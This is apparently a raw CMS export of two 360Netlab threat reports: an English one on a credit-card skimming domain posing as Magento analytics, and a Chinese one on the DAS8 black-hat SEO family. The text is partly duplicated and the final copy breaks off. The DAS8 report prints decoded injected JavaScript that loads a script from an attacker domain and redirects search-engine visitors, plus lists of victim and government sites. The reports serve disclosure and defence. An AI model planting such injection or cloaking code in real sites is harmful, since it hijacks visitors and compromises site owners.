registrant_organization WhoisGuard, Inc.
From DNS’s perspective, Magento and magento-analytics never shared any element, there are in totally separately clusters, as can be seen from the diagram below.
Impact
Now we look back, the malicious domain name has been stealing credit cards info for five months. We saw a total of 105 websites have this JS injected. The following six are among the current Alexa Top 1 million [1]website.
imitsosa[.]com
alkoholeswiata[.]com
spieltraum-shop[.]de
ilybean[.]com
mtbsale[.]com
ucc-bd[.]com
Looking at the types of goods sold by the victim website, it is pretty broad range, including but not limited to high-end bags, mountain bikes, baby products, wine, electronic products, etc.
Currently our DNSMon system has blocked this domain name and our users are protected.
IOCs
magento-analytics[.]com
AS | IP | AS Name
55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK
Impacted Domain
adirectholdings[.]com
adm[.]sieger-trophaen[.]de
adventureequipment[.]com[.]au
alkoholeswiata[.]com
alphathermalsystems[.]com
ameta-anson[.]com
ametagroup[.]com
ametawest[.]com
appliancespareparts[.]com[.]au
armenianbread[.]com
autosportcompany[.]nl
bagboycompany[.]com
boardbookalbum[.]biz
boardbookalbum[.]com
boardbookalbum[.]net
boardbookalbums[.]biz
boardbookalbums[.]net
burmabibas[.]com
businesstravellerbags[.]com
clotures-electriques[.]fr
cltradingfl[.]com
colorsecretspro[.]com
connfab[.]com
cupidonlingerie[.]fr
devantsporttowels[.]com
diamondbladedealer[.]com
digital-2000[.]com
emersonstreetclothing[.]com
equalli[.]com
equalli[.]co[.]uk
equalli[.]de
eu[.]twoajewelry[.]com
eyeongate[.]net
fitnessmusic[.]com
fluttereyewear[.]com
freemypaws[.]info
gabelshop[.]ch
gosuworld[.]com
hotelcathedrale[.]be
huntsmanproducts[.]com[.]au
iconicpineapple[.]com
ilybean[.]com
imitsosa[.]com
jasonandpartners[.]com[.]au
jekoshop[.]com
jekoshop[.]de
junglefeveramerica[.]com
kermanigbakery[.]com
kermanigfoods[.]com
kings2[.]com
koalabi[.]com
lamajune[.]com
li375-244[.]members[.]linode[.]com
libertyboutique[.]com[.]au
lighteningcornhole[.]com
lighting-direct[.]com[.]au
lightingwill[.]com
liquorishonline[.]com
lojacristinacairo[.]com[.]br
magformers[.]com
maxqsupport[.]com
mdcpublishers[.]com
meizitangireland[.]com
mockberg[.]com
monsieurplus[.]com
mont[.]com[.]au
mtbsale[.]com
noirnyc[.]com
nyassabathandbody[.]com
pgmetalshop[.]com
pinkorchard[.]com
pizzaholic[.]net
powermusic[.]com
prestigeandfancy[.]com
prestigebag[.]com
prestigefancy[.]com
prestigepakinc[.]com
prettysalonusa[.]com
promusica[.]ie
qspproducts[.]com
qspproducts[.]nl
qspracewear[.]nl
rightwayhp[.]com
safarijewelry[.]com
schogini[.]biz
shopatsimba[.]com
spalventilator[.]nl
spieltraum-shop[.]de
storageshedsoutlet[.]com
stylishfashionusa[.]com
suitpack[.]co[.]uk
svpmobilesystems[.]com
task-tools[.]com
tiroler-kraeuterhof[.]at
tiroler-kraeuterhof[.]com
tiroler-kraeuterhof-naturkosmetik[.]com
ucc-bd[.]com
ussi-md[.]com
utvcover[.]com
vezabands[.]com
vitibox[.]co[.]uk
waltertool[.]info
waltertool[.]org
waltertools[.]com
workoutmusic[.]com
1. Alexa ranking changes frequently and the specific ranking may not be correct. ↩︎
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n------\n> DNSMon is a network-wide DNS malicious domain analysis system we build here at 360Netlab. With the 10%+ total DNS traffic coverage in China, plus the other multi-dimensional security data and security analysis capabilities we have accumulated over the years, we can \"see\" what is happening in the whole network in real time from a unique perspective.\n------\n\n\n\n## Summary\n\n\nOur DNSMon flagged an abnormal domain name magento-analytics[.]com, through continuous tracking, and correlation with various data, we found out that the domain name has been used to inject malicious JS script to various online shopping sites to steal the credit card owner / card number / expiration time / CVV information.\n\n\n## Origin\n\n\nIn October 2018, the domain name magento-analytics[.]com appeared on our DNSMon radar, the traffic is pretty low we temporarily put it in our tracking process and start to keep an eye on it. \n\n\n\n\n\nThe domain is registered in Panama, but in recent months, the ip moved around from \"United States - Arizona\" to \"Russia - Moscow\", then to \"China - Hong Kong.\" Which begs us to take a second look.\n\n\n\n\n\n## Analysis\n\n\nThe domain returns a 403 page when you try to access it in a browser, and google search doesn’t return much details either. \nLuckily, as the domain is in our DNSMon tracing process, we have the ability to hang anchor points in our data streams and aggregate the data related to it. For example, we can easily find the URLs under the domain name.\nAs you can see, the domain name has been hosting a lot of JS scripts since the beginning of December, and most of the components are very similar. \n\n\n``` python\nFirstSeen LastSeen URL\n20190417 20190418 magento-analytics.com:80/5c330014a67ac.js\n20190403 20190410 magento-analytics.com:80/5c6d6f33c5d6a.js\n20190320 20190401 magento-analytics.com:80/5c68b7ba3ea38.js\n20190315 20190315 magento-analytics.com:80/5c8ba95b0a705.js\n20190305 20190305 magento-analytics.com:80/5c13086d94587.js\n20190304 20190308 magento-analytics.com:80/5c3a398f10058.js\n20190228 20190228 magento-analytics.com:80/5c56e1cf41cc2.js\n20190222 20190326 magento-analytics.com:80/5c56e1cf41cc2.js\n20190203 20190406 magento-analytics.com:80/5c330014a67ac.js\n20190120 20190415 magento-analytics.com:80/gate.php\n20190120 20190322 magento-analytics.com:80/5c0ff4bd5d9a5.js\n20190117 20190212 magento-analytics.com:80/5c0ef8d315d78.js\n20190115 20190129 magento-analytics.com:80/5c0d35f517604.js\n20190110 20190314 magento-analytics.com:80/5c24b628da151.js\n20190108 20190203 magento-analytics.com:80/5c0ffacc0e2e7.js\n20181228 20190204 magento-analytics.com:80/5c0d3ac73f0d2.js\n20181227 20190113 magento-analytics.com:80/emersonstreetclothing.js\n20181227 20190111 magento-analytics.com:80/5c2227461b957.js\n20181224 20190418 magento-analytics.com:80/powermusic.js\n20181224 20190417 magento-analytics.com:80/5c116a3629062.js\n20181224 20190326 magento-analytics.com:80/pizzaholic.js\n20181224 20190105 magento-analytics.com:80/5c0d25c0abdf7.js\n20181224 20181224 magento-analytics.com:443/pizzaholic.js\n20181223 20181223 magento-analytics.com:443/5c0d2b47a8815.js\n20181221 20181221 magento-analytics.com:443/5c0d245a4ecc3.js\n20181220 20181224 magento-analytics.com:80/5c117b7b019cb.js\n20181219 20181219 magento-analytics.com:443/5c0c3c82b2465.js\n20181216 20181222 magento-analytics.com:443/5c1437736ba2b.js\n20181215 20181221 magento-analytics.com:443/5c0c3e8455ebc.js\n20181215 20181215 magento-analytics.com:443/5c0d3318981bd.js\n20181214 20181224 magento-analytics.com:443/5c0d35f517604.js\n20181214 20181214 magento-analytics.com:443/5c0ffacc0e2e7.js\n20181214 20181214 magento-analytics.com:443/5c0d4b0b33f36.js\n20181213 20181228 magento-analytics.com:443/5c0d1ae802dc7.js\n20181211 20181224 magento-analytics.com:443/5c0c4602161ec.js\n20181210 20181228 magento-analytics.com:443/5c0d25c0abdf7.js\n20181210 20181210 magento-analytics.com:443/monsieurplus.js\n20181209 20181227 magento-analytics.com:443/powermusic.js\n20181209 20181212 magento-analytics.com:443/5c0c712d2510b.js\n```\n\n\nA pretty simple JS. As soon as the JS is loaded, a timer is set and the TrySend function is called every 500ms to try to get input data such as Number/Holder/Date/CVV, etc., once success, it finally calls SendData to report the data to [hxxps://magento-analytics.com/gate.php].\nThe other JSs in the URLS, whether it is a 13-bytes hash-like JS, or a specially named JS such as powermusic.js/monsieurplus.js/powermusic.js, all provide the same function.\n\n\n\n\n\n## Verification\n\n\nWith the above information in hand, we can correlate this malicious domain in our DNSMon to find out what the target websites, there are 105 websites have this JS loaded(please note there should have infected websites as we DNS visibility does not cover global traffic). \n\n\nTake one victim as an example, www.kings2.com, when a user loads its homepage, the JS runs as well. If a user selects a product and goes to the \"Payment Information\" to submit the credit card information, after the CVV data is entered, the credit card information will be uploaded.\n\n\n\n\n\n## About magento-analytics\n\n\nSome quick google on keyword Magento suggest that Magento\nis a well-known e-commerce CMS software vendor, which was acquired by Adobe in 2018) , so, given the name magento-analytics[.]com, is this a website under magento[.]com?\n\nBased on historical IP and whois information, we can probably tell magento-analytics[.]com has no affiliation with Magento, it is just a malicious domain name used by attackers to confuse regular users.\n\nFor whois history, magento[.]com’s records are transparent and up-to-date; While magento-analytics[.]com has whois privacy protection enabled, sharing no similar entry.\n\n\n```\nmagento[.]com\ncreateddate 2010-02-08 19:47:21 \nupdateddate 2018-11-27 18:34:21 \nexpiresdate 2020-02-08 19:47:21 \nregistrant_email [email protected] \nregistrant_name Domain Administrator\nregistrant_organization Adobe Inc. \n------------------------------------------------\ncreateddate 2010-02-08 00:00:00 \nupdateddate 2018-01-07 10:19:03 \nexpiresdate 2019-02-08 19:47:21 \nregistrant_organization X.commerce, Inc.\n\nmagento-analytics[.]com\ncreateddate 2018-05-12 06:46:51 \nupdateddate 2018-05-12 06:46:52 \nexpiresdate 2019-05-12 06:46:51 \nregistrant_email [email protected] \nregistrant_name WhoisGuard Protected \nregistrant_organization WhoisGuard, Inc.\n```\n\n\nFrom DNS’s perspective, Magento and magento-analytics never shared any element, there are in totally separately clusters, as can be seen from the diagram below.\n\n\n\n\n\n## Impact\n\n\nNow we look back, the malicious domain name has been stealing credit cards info for five months. We saw a total of 105 websites have this JS injected. The following six are among the current Alexa Top 1 million [^1]website.\n\n\n```\nimitsosa[.]com\nalkoholeswiata[.]com\nspieltraum-shop[.]de\nilybean[.]com\nmtbsale[.]com\nucc-bd[.]com\n```\n\n\nLooking at the types of goods sold by the victim website, it is pretty broad range, including but not limited to high-end bags, mountain bikes, baby products, wine, electronic products, etc.\n\n\nCurrently our DNSMon system has blocked this domain name and our users are protected.\n\n\n## IOCs\n\n```\nmagento-analytics[.]com\nAS | IP | AS Name\n55933 | 93.187.129.249 | CLOUDIE-AS-AP Cloudie Limited, HK\n```\n\n## Impacted Domain\n\n```\nadirectholdings[.]com\nadm[.]sieger-trophaen[.]de\nadventureequipment[.]com[.]au\nalkoholeswiata[.]com\nalphathermalsystems[.]com\nameta-anson[.]com\nametagroup[.]com\nametawest[.]com\nappliancespareparts[.]com[.]au\narmenianbread[.]com\nautosportcompany[.]nl\nbagboycompany[.]com\nboardbookalbum[.]biz\nboardbookalbum[.]com\nboardbookalbum[.]net\nboardbookalbums[.]biz\nboardbookalbums[.]net\nburmabibas[.]com\nbusinesstravellerbags[.]com\nclotures-electriques[.]fr\ncltradingfl[.]com\ncolorsecretspro[.]com\nconnfab[.]com\ncupidonlingerie[.]fr\ndevantsporttowels[.]com\ndiamondbladedealer[.]com\ndigital-2000[.]com\nemersonstreetclothing[.]com\nequalli[.]com\nequalli[.]co[.]uk\nequalli[.]de\neu[.]twoajewelry[.]com\neyeongate[.]net\nfitnessmusic[.]com\nfluttereyewear[.]com\nfreemypaws[.]info\ngabelshop[.]ch\ngosuworld[.]com\nhotelcathedrale[.]be\nhuntsmanproducts[.]com[.]au\niconicpineapple[.]com\nilybean[.]com\nimitsosa[.]com\njasonandpartners[.]com[.]au\njekoshop[.]com\njekoshop[.]de\njunglefeveramerica[.]com\nkermanigbakery[.]com\nkermanigfoods[.]com\nkings2[.]com\nkoalabi[.]com\nlamajune[.]com\nli375-244[.]members[.]linode[.]com\nlibertyboutique[.]com[.]au\nlighteningcornhole[.]com\nlighting-direct[.]com[.]au\nlightingwill[.]com\nliquorishonline[.]com\nlojacristinacairo[.]com[.]br\nmagformers[.]com\nmaxqsupport[.]com\nmdcpublishers[.]com\nmeizitangireland[.]com\nmockberg[.]com\nmonsieurplus[.]com\nmont[.]com[.]au\nmtbsale[.]com\nnoirnyc[.]com\nnyassabathandbody[.]com\npgmetalshop[.]com\npinkorchard[.]com\npizzaholic[.]net\npowermusic[.]com\nprestigeandfancy[.]com\nprestigebag[.]com\nprestigefancy[.]com\nprestigepakinc[.]com\nprettysalonusa[.]com\npromusica[.]ie\nqspproducts[.]com\nqspproducts[.]nl\nqspracewear[.]nl\nrightwayhp[.]com\nsafarijewelry[.]com\nschogini[.]biz\nshopatsimba[.]com\nspalventilator[.]nl\nspieltraum-shop[.]de\nstorageshedsoutlet[.]com\nstylishfashionusa[.]com\nsuitpack[.]co[.]uk\nsvpmobilesystems[.]com\ntask-tools[.]com\ntiroler-kraeuterhof[.]at\ntiroler-kraeuterhof[.]com\ntiroler-kraeuterhof-naturkosmetik[.]com\nucc-bd[.]com\nussi-md[.]com\nutvcover[.]com\nvezabands[.]com\nvitibox[.]co[.]uk\nwaltertool[.]info\nwaltertool[.]org\nwaltertools[.]com\nworkoutmusic[.]com\n```\n\n[^1]: Alexa ranking changes frequently and the specific ranking may not be correct."}]],"markups":[],"sections":[[1,"p",[]],[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5cce8c9140e02300075fa75c |
post | null | 2019-05-07T08:59:19.000Z | 63873b9a8b1c1e0007f52f4a | seojia-zu | 0 | 2019-05-31T09:51:37.000Z | public | draft | null | null | 黑帽SEO家族--DAS8 | <!--kg-card-begin: markdown--><hr>
<blockquote>
<p>DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。</p>
</blockquote>
<hr>
<h2 id="">摘要</h2>
<p>在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。</p>
<p>值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。</p>
<p>我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。</p>
<h2 id="">缘起</h2>
<p>在我们跟踪一些政府网站时发现了一系列奇怪的现象：</p>
<p>1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；<br>
2.两个域名本身并不具备非常高的流行度，也没有ICP备案；<br>
3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；<br>
4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.*das8*[.]com的域名；<br>
5.两个域名的URL结构存在异常形式，全部为hxxp://*/.{2,6}.js的形式；<br>
6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。</p>
<p>这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？</p>
<h2 id="">案例分析</h2>
<p>任意选择一个产生上述异常的网站，观察其页面源代码。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/sample-html-.jpg" alt="sample-html-" loading="lazy"></p>
<p>发现混淆了部分代码，解码后得到</p>
<pre><code class="language-javascript">title: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】
keywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台
description: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网
script1:
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="xxx人民法院"}
script2:
window['document']['write']('<script type="text/javascript" src="https://www.cpdas8.com/cxc.js"></script>')
</code></pre>
<p>功能大致为：<br>
1.将网页的关键元素title/keywords/description改为"北京赛车"相关的信息；<br>
2.判断浏览器的user-agent是否包含"baidu"字符串，如果不包含则将网页title修改为"xxx人民法院"；<br>
3.通过加壳的代码加载hxxps://www.cpdas8[.]com/cxc.js处的脚本</p>
<pre><code class="language-javascipt">(function () {
/*百度推送代码*/
var bp = document.createElement('script');
bp.src = '//push.zhanzhang.baidu.com/push.js';
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(bp, s);
/*360推送代码*/
var src = document.location.protocol + '//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9';
document.write('<script src="' + src + '" id="sozz"><\/script>');
})();
document.writeln("<script LANGUAGE=\"Javascript\">");
document.writeln("var s=document.referrer");
document.writeln("if(s.indexOf(\"baidu\")>0 || s.indexOf(\"sogou\")>0 || s.indexOf(\"soso\")>0 ||s.indexOf(\"sm\")>0 ||s.indexOf(\"uc\")>0 ||s.indexOf(\"bing\")>0 ||s.indexOf(\"yahoo\")>0 ||s.indexOf(\"so\")>0 )");
document.writeln("location.href=\"https://2019d2.com\";");
document.writeln("</script>");
</code></pre>
<p>hxxps://www.cpdas8[.]com/cxc.js的核心功能大致为：<br>
1.将网页内容主动推送给百度搜索、360搜索，以加速搜索引擎的收录；<br>
2.判断页面referrer中是否包含"baidu","so","sogou","uc"等搜索引擎或浏览器导航页相关的字符串，如果包含则将网页跳转至hxxps://2019c3[.]com/，并经过一系列跳转最终来到hxxps://cxc232[.]com/，一个推广网络投资及其APP的网页。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/cxc.jpg" alt="cxc" loading="lazy"></p>
<p>以上手法是SEO中常见的蜘蛛欺骗技术：<br>
1.攻陷正规网站，并将其页面关键元素修改为利益相关的词汇，如本例中"北京赛车"相关的词汇；<br>
2.正常用户使用浏览器直接访问相关域名时则将title改为原来的"xxx人民法院"，全当无事发生过；<br>
3.搜索引擎的蜘蛛爬取页面时则会将正规网站的页面信息标记为"北京赛车"相关；<br>
4.用户在搜索引擎中搜索"北京赛车"相关的词汇时，便会搜索到这些被攻陷的网站；<br>
5.当用户点击搜索引擎的referrer链接访问被攻陷的网站时，便会被带到其他网站，落入SEO家族的圈套。</p>
<p>分析以上环节可以发现：被攻击的目标网站在搜索引擎中结果越靠前，那么SEO的收益则越大。政府网站具有一定的权威性，在搜索引擎进行排名时会有一定的加权提升，所以能被攻击的政府网站非常受SEO家族青睐。DAS8家族则是我们目前看到的影响政府网站最多的SEO家族。</p>
<h2 id="">深入分析</h2>
<p>分析dasheng123123@gmail[.]com所注册的4000+个域名，主要用于三个用途：<br>
1.黑链域名：受害网站被挂的黑链会直接请求这些域名，来进行下一步的跳转，它们是整个SEO推广的入口，如上文提到的www[.]bcdas8[.]com/www[.]cpdas8[.]com，我们还通过IP、WEB等数据关联出了www[.]dasv8[.]com。<br>
2.中继域名：受害网站收到黑链域名的指令后跳转至中继域名，它们会从一组备选域名中选择用户访问较快的网站进行跳转，对整个跳转链条进行优化，如上文提到的2019c3[.]com。</p>
<pre><code><script language="javascript">
times=1
setInterval("times++",100)
b=1
var autourl=new Array() // 检测的站点
autourl[1]="https://CXC240.COM/?id=10226"
autourl[2]="https://CXC241.COM/?id=10226"
autourl[3]="https://CXC242.COM/?id=10226"
autourl[4]="https://CXC243.COM/?id=10226"
autourl[5]="https://CXC244.COM/?id=10226"
autourl[6]="https://CXC245.COM/?id=10226"
autourl[7]="https://CXC240.COM/?id=10226"
// 判断第一个反应的网站并进行跳转
function auto(url){
window.location.replace(url);
b++
}
// 进行故意错误请求并得到反应速度
function run(){
for(var i=1;i<autourl.length;i++)
document.write("<img src=http://"+autourl[i].split("//")[1].split("/")[0]+"/"+Math.random()+" width=1 height=1 onerror=auto('"+autourl[i]+"')>")
}
run()
</script>
</code></pre>
<p>3.推广域名：它们是整个链条的最后一站，承载着实际的WEB网页完成推广，如上文中提到的cxc232[.]com。推广域名的生存周期很短，被注册后，一般仅使用1年甚至更短的时间。</p>
<p>截至本文发布时:<br>
1.部分受影响的网站已经移除了恶意代码，我们在IOC中列出了过去4个月内受到攻击的网站。<br>
2.攻击者在入侵部分网站之后，不再将恶意代码嵌入页面中，而是通过恶意代码污染相关js库的方式来逃避检测。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/new_attack.jpg" alt="new_attack" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2019/05/packed.jpg" alt="packed" loading="lazy"></p>
<p>如果读者是附件列表中网站的管理人员，可以利用下列手段自查：<br>
以chrome为例，在其开发者工具的Sources面板中观察网站加载过程中是否出现相关URL；</p>
<p><img src="__GHOST_URL__/content/images/2019/05/1559291644-1-.jpg" alt="1559291644-1-" loading="lazy"></p>
<p>一旦发现，在Network面板中观察可疑URL的调用过程，最终定位到恶意代码并移除。</p>
<p><img src="__GHOST_URL__/content/images/2019/05/1559292315-1-.jpg" alt="1559292315-1-" loading="lazy"></p>
<h2 id="iocs">IOCs</h2>
<pre><code>domain:
www[.]bcdas8[.]com
www[.]cpdas8[.]com
www[.]dasv8[.]com
whois email:
dasheng123123@gmail[.]com
</code></pre>
<h2 id="">部分受影响网站</h2>
<pre><code>last_seen_timestamp FQDN
2019-05-31T07:31:36.000Z www.hnhxhbj.gov.cn
2019-05-31T07:31:04.000Z wlj.shishou.gov.cn
2019-05-31T07:26:35.000Z ttbwg.gszhuanglang.gov.cn
2019-05-31T07:24:59.000Z stbc.swj.wuhan.gov.cn
2019-05-30T07:37:51.000Z www.ccad.gov.cn
2019-05-29T07:44:07.000Z www.gyaj.gov.cn
2019-05-29T07:40:25.000Z www.jyqfy.gov.cn
2019-05-29T07:29:00.000Z www.qgqrd.gov.cn
2019-05-29T07:26:55.000Z www.swfp.gov.cn
2019-05-28T07:46:57.000Z www.antufy.gov.cn
2019-05-27T07:34:56.000Z www.jxmj.gov.cn
2019-05-11T16:43:50.000Z www.bzgqt.gov.cn
2019-05-09T07:32:04.000Z old.xxrd.gov.cn
2019-05-08T12:25:28.000Z www.xxrd.gov.cn
2019-05-07T02:34:48.000Z jkqgwh.cnbz.gov.cn
2019-05-06T13:07:43.000Z xxgk.baiyangdian.gov.cn
2019-05-04T16:11:34.000Z www.nxwh.gov.cn
2019-05-04T16:07:58.000Z whhlyt.nx.gov.cn
2019-05-04T16:07:07.000Z www.dalisn.gov.cn
2019-05-02T05:24:04.000Z www.scdj.gov.cn
2019-04-28T10:29:30.000Z www.idrc.gov.cn
2019-04-27T12:36:11.000Z www.xywgxj.gov.cn
2019-04-25T13:16:56.000Z www.xytjj.gov.cn
2019-04-23T07:11:52.000Z mail.zhengzhou.gov.cn
2019-04-20T07:27:22.000Z www.lnwdxf.gov.cn
2019-04-19T07:27:37.000Z wm.ahtxq.gov.cn
2019-04-17T07:19:12.000Z www.cdnmj.gov.cn
2019-04-16T16:28:40.000Z www.hgwh.gov.cn
2019-04-16T08:40:16.000Z dx.ww.gov.cn
2019-04-15T19:30:49.000Z www.pljcy.gov.cn
2019-04-15T19:23:20.000Z www.fcgls.gov.cn
2019-04-15T19:21:23.000Z www.sjzsglj.gov.cn
2019-04-14T19:26:30.000Z www.jxqsq.gov.cn
2019-04-14T19:23:00.000Z www.gyfy.gov.cn
2019-04-14T19:02:38.000Z ynb.nea.gov.cn
2019-04-13T19:14:58.000Z www.nsjw.gov.cn
2019-04-13T19:02:39.000Z ghj.pingliang.gov.cn
2019-04-12T19:22:59.000Z m.zcjjkfq.gov.cn
2019-04-12T19:21:12.000Z jsjy.nm.jcy.gov.cn
2019-04-11T19:13:38.000Z www.asmm.gov.cn
2019-04-11T19:07:40.000Z www.jjtown.gov.cn
2019-04-11T16:46:17.000Z daj.guilin.gov.cn
2019-04-10T19:28:10.000Z www.wwzx.gov.cn
2019-04-10T19:15:58.000Z www.ahqyzx.gov.cn
2019-04-10T19:13:55.000Z hbafricacenter.llb.chutianyun.gov.cn
2019-04-09T19:28:32.000Z www.fxrdw.gov.cn
2019-04-09T19:10:25.000Z jcy.kaiping.gov.cn
2019-04-09T00:24:31.000Z www.hcjjkfq.gov.cn
2019-04-08T19:27:51.000Z www.yangchenghu.gov.cn
2019-04-08T19:18:49.000Z exam.qgqrd.gov.cn
2019-04-08T19:16:54.000Z zazhi.xysww.gov.cn
2019-04-08T19:15:39.000Z nyncj.chengde.gov.cn
2019-04-08T19:06:19.000Z www.xyskx.gov.cn
2019-04-08T02:46:25.000Z www.lsbb.gov.cn
2019-04-08T01:46:48.000Z www.xyhcq.gov.cn
2019-04-07T19:11:15.000Z www.wwrd.gov.cn
2019-04-07T04:50:01.000Z www.wlqrd.gov.cn
2019-04-06T05:45:12.000Z www.shfy.gov.cn
2019-04-05T19:36:15.000Z www.lxdj.gov.cn
2019-04-04T19:21:27.000Z api.shfy.gov.cn
2019-04-04T19:17:09.000Z www.gxdb.gov.cn
2019-04-04T03:33:17.000Z www.ggxfy.gov.cn
2019-04-03T19:27:21.000Z www.jnzxw.gov.cn
2019-04-03T19:19:28.000Z www.lslz.gov.cn
2019-04-02T19:57:45.000Z api.gyfy.gov.cn
2019-04-02T19:56:08.000Z www.zjksw.gov.cn
2019-04-02T08:26:10.000Z www.ffwmw.gov.cn
2019-04-02T06:12:27.000Z www.weishanhu.gov.cn
2019-04-01T20:05:38.000Z www.jsmg.gov.cn
2019-03-31T19:44:15.000Z www.shandongipc.gov.cn
2019-03-31T11:07:05.000Z www.nxdj.gov.cn
2019-03-30T19:11:45.000Z dxga.zgdx.gov.cn
2019-03-30T19:10:42.000Z www.ngdzjksw.gov.cn
2019-03-29T19:18:08.000Z shuju.zglz.gov.cn
2019-03-27T20:05:58.000Z www.hmsf.gov.cn
2019-03-27T00:28:21.000Z www.wzcgj.gov.cn
2019-03-26T19:41:07.000Z www.shdjej.gov.cn
2019-03-26T19:17:28.000Z www.zglz.gov.cn
2019-03-25T20:05:11.000Z www.xyjk.gov.cn
2019-03-25T19:21:04.000Z www.0597.gov.cn
2019-03-25T00:36:55.000Z www.yglh.gov.cn
2019-03-25T00:28:35.000Z www.xyjc.gdxy.gov.cn
2019-03-24T19:09:12.000Z gxs.wuhai.gov.cn
2019-03-21T19:19:37.000Z www.dbxc.gov.cn
2019-03-20T19:16:51.000Z zbb.changde.gov.cn
2019-03-20T19:06:52.000Z zw.lfgy.gov.cn
2019-03-19T06:35:50.000Z www.lfgy.gov.cn
2019-03-11T16:51:23.941Z www.nk93.gov.cn
2019-03-10T21:30:35.471Z www.mczx.gov.cn
2019-03-06T08:53:18.452Z qsh.qingshuihe.gov.cn
2019-03-04T16:40:57.313Z www.zwpf.gov.cn
2019-02-27T22:42:19.675Z www.nmgzxbq.gov.cn
2019-02-27T20:46:28.401Z www.qingshuihe.gov.cn
2019-02-24T07:25:33.358Z www.ezga.gov.cn
2019-02-24T01:17:28.044Z www.xydz.gov.cn
2019-02-21T22:30:35.446Z www.ygyc.gov.cn
2019-02-19T10:27:59.237Z www.zgydds.gov.cn
2019-02-17T16:42:46.101Z www.qjwsj.gov.cn
2019-02-16T23:51:59.194Z www.ecpi.suzhou.gov.cn
2019-02-12T01:12:43.821Z www.xtsghj.gov.cn
2019-02-11T23:52:36.268Z www.wyxrd.gov.cn
2019-02-09T21:28:19.303Z www.xihua.gov.cn
2019-02-05T00:34:28.682Z www.jciz.gov.cn
2019-02-02T23:48:39.182Z www.suqiancity.gov.cn
</code></pre>
<!--kg-card-end: markdown--> |
DNSMon是一个全网DNS异常发现分析系统。基于我们可以看到的中国地区 10%+ 的DNS流量，加上我们多年积累的其他多维度安全数据以及安全分析能力，我们可以在一个独特的视角来实时监测 全网 每天 正在发生 的事情，我们可以 “看见” 正在发生的威胁。
摘要
在过去的4个月内，按照DNSMon的观察，包括104个政府网站在内，全网有超过42000+的网站被一个大型黑帽SEO家族渗透控制并植入了恶意URL链接。这些恶意URL通常将来自搜索引擎的访问层层跳转至流量的最终变现页面，例如网络投资APP（可能存在仿冒）。
值得一提的是，如果用户是在浏览器内输入网址访问这些网页，而非经搜索引擎跳转，那么恶意URL链接可能不会被触发，用户看到的仅是正常页面。通过这种方式，攻击者试图保持被黑网站的老用户的浏览体验，增强自身的隐蔽性。
我们将该SEO家族命名为DAS8，这主要是因为该家族使用邮箱dasheng123123@gmail[.]com注册了上千个域名。除了DAS8以外，我们还观察到了类似的若干家族。考虑到DAS8的感染规模显著超过了其他任何家族，我们认为有必要将DAS8的行为记录下来。
缘起
在我们跟踪一些政府网站时发现了一系列奇怪的现象：
1.这些政府网站加载WEB资源时会去请求www.bcdas8[.]com或www.cpdas8[.]com两个域名；
2.两个域名本身并不具备非常高的流行度，也没有ICP备案；
3.两个域名解析的IP:103.94.78.4/103.94.78.39，位于境外同一网段，且不属于CDN、企业等特别持有的IP；
4.两个域名共用一个HTTPS证书，证书SAN中还包括另外7个形如www.*das8*[.]com的域名；
5.两个域名的URL结构存在异常形式，全部为hxxp://*/.{2,6}.js的形式；
6.两个域名由同一个人注册，使用的注册邮箱存在异常注册行为。
这引起了我们的注意，这些正规的政府网站为什么会去请求这组域名？
案例分析
任意选择一个产生上述异常的网站，观察其页面源代码。
发现混淆了部分代码，解码后得到
title: 北京赛车-北京赛车开奖,北京赛车走势图,北京赛车投注【官方授权平台】
keywords: 北京赛车,北京赛车官网,北京赛车开奖,北京赛车走势图,北京赛车投注,北京赛车网上投注,北京赛车投注平台
description: 北京赛车,北京赛车开奖网【官方网址:XX567.COM】同步北京福彩赛车公司官网开奖,提供北京赛车开奖结果,北京赛车开奖记录,pk10开奖结果直播查询,pk10开奖直播记录查询,北京pk10赛车结果,北京pk10过往各开奖记录,pk10开奖,专业的开奖视频北京pk10网
script1:
if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="xxx人民法院"}
script2:
window['document']['write']('<script type="text/javascript" src="https://www.cpdas8.com/cxc.js"></script>')
功能大致为：
1.将网页的关键元素title/keywords/description改为"北京赛车"相关的信息；
